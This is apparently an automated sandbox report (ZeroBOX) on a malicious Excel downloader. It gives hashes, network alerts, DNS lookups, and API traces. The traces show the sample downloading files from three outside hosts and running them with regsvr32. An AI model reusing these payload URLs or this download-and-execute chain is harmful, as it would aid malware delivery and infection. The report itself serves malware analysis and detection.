popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

biz-14302409.xls

Downloader MSOffice File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 20, 2021, 3:45 p.m. Oct. 20, 2021, 3:47 p.m.
Size 243.0KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Tue Oct 19 14:34:36 2021, Security: 0
MD5 0b87d22eedbc86e0209de18c85c079ac
SHA256 57289d0329bfba396d4a2b205a84df50fb158227d1163b8b7074d720fbe1a833
CRC32 13D18E64
ssdeep 6144:sKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgg9DWncZZttTq1JOL7gvOUPDElYvS3GHo7c:S9Dl7TmUL7gvjDa3HLvfX1mOO
Yara
  • Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader
  • Microsoft_Office_File_Zero - Microsoft Office File

Name Response Post-Analysis Lookup
meettrust.in
A 192.185.129.109
192.185.129.109
aqissarafood.com.my
A 103.27.74.73
103.27.74.73
radiocaca.top
A 103.221.220.15
103.221.220.15
x1.i.lencr.org
CNAME crl.root-x1.letsencrypt.org.edgekey.net
CNAME e8652.dscx.akamaiedge.net
A 104.76.75.146
104.74.168.254
IP Address Status Action
103.221.220.15 Active Moloch
103.27.74.73 Active Moloch
104.76.75.146 Active Moloch
164.124.101.2 Active Moloch
192.185.129.109 Active Moloch

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.103:56357 -> 164.124.101.2:53 2023883 ET DNS Query to a *.top domain - Likely Hostile Potentially Bad Traffic
TCP 192.185.129.109:443 -> 192.168.56.103:49172 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.103:49170 -> 192.185.129.109:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49171 -> 192.185.129.109:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49174 -> 103.27.74.73:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49177 -> 103.221.220.15:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49177 -> 103.221.220.15:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49177 -> 103.221.220.15:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49176 -> 103.221.220.15:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49176 -> 103.221.220.15:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49176 -> 103.221.220.15:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 103.221.220.15:443 -> 192.168.56.103:49176 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 103.221.220.15:443 -> 192.168.56.103:49176 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49178 -> 103.221.220.15:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49178 -> 103.221.220.15:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 103.221.220.15:443 -> 192.168.56.103:49178 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 103.221.220.15:443 -> 192.168.56.103:49178 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 103.221.220.15:443 -> 192.168.56.103:49177 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 103.221.220.15:443 -> 192.168.56.103:49177 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49174
103.27.74.73:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.anamuslimpreschool.com 31:f5:04:25:4c:24:41:84:cf:0d:b6:1f:75:76:e9:8f:23:f0:c9:ea

request GET http://x1.i.lencr.org/
domain radiocaca.top description Generic top level domain TLD
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2556
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6bf98000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2556
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b062000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2356
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2676
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 352
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0
cmdline regsvr32 C:\Datop\test.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline regsvr32 C:\Datop\test1.test
cmdline regsvr32 C:\Datop\test2.test
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2556
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: https://meettrust.in/aMZID8gQ/u.html
stack_pivoted: 0
filepath_r: C:\Datop\test.test
filepath: C:\Datop\test.test
2148270085 0

URLDownloadToFileW

 url: https://aqissarafood.com.my/eAu610rn3w8V/u.html
stack_pivoted: 0
filepath_r: C:\Datop\test1.test
filepath: C:\Datop\test1.test
2148270105 0

URLDownloadToFileW

 url: https://radiocaca.top/RVDXQ4D7cWU6/u.html
stack_pivoted: 0
filepath_r: C:\Datop\test2.test
filepath: C:\Datop\test2.test
2148270085 0
parent_process excel.exe martian_process regsvr32 C:\Datop\test.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test1.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test2.test
file C:\Windows\System32\regsvr32.exe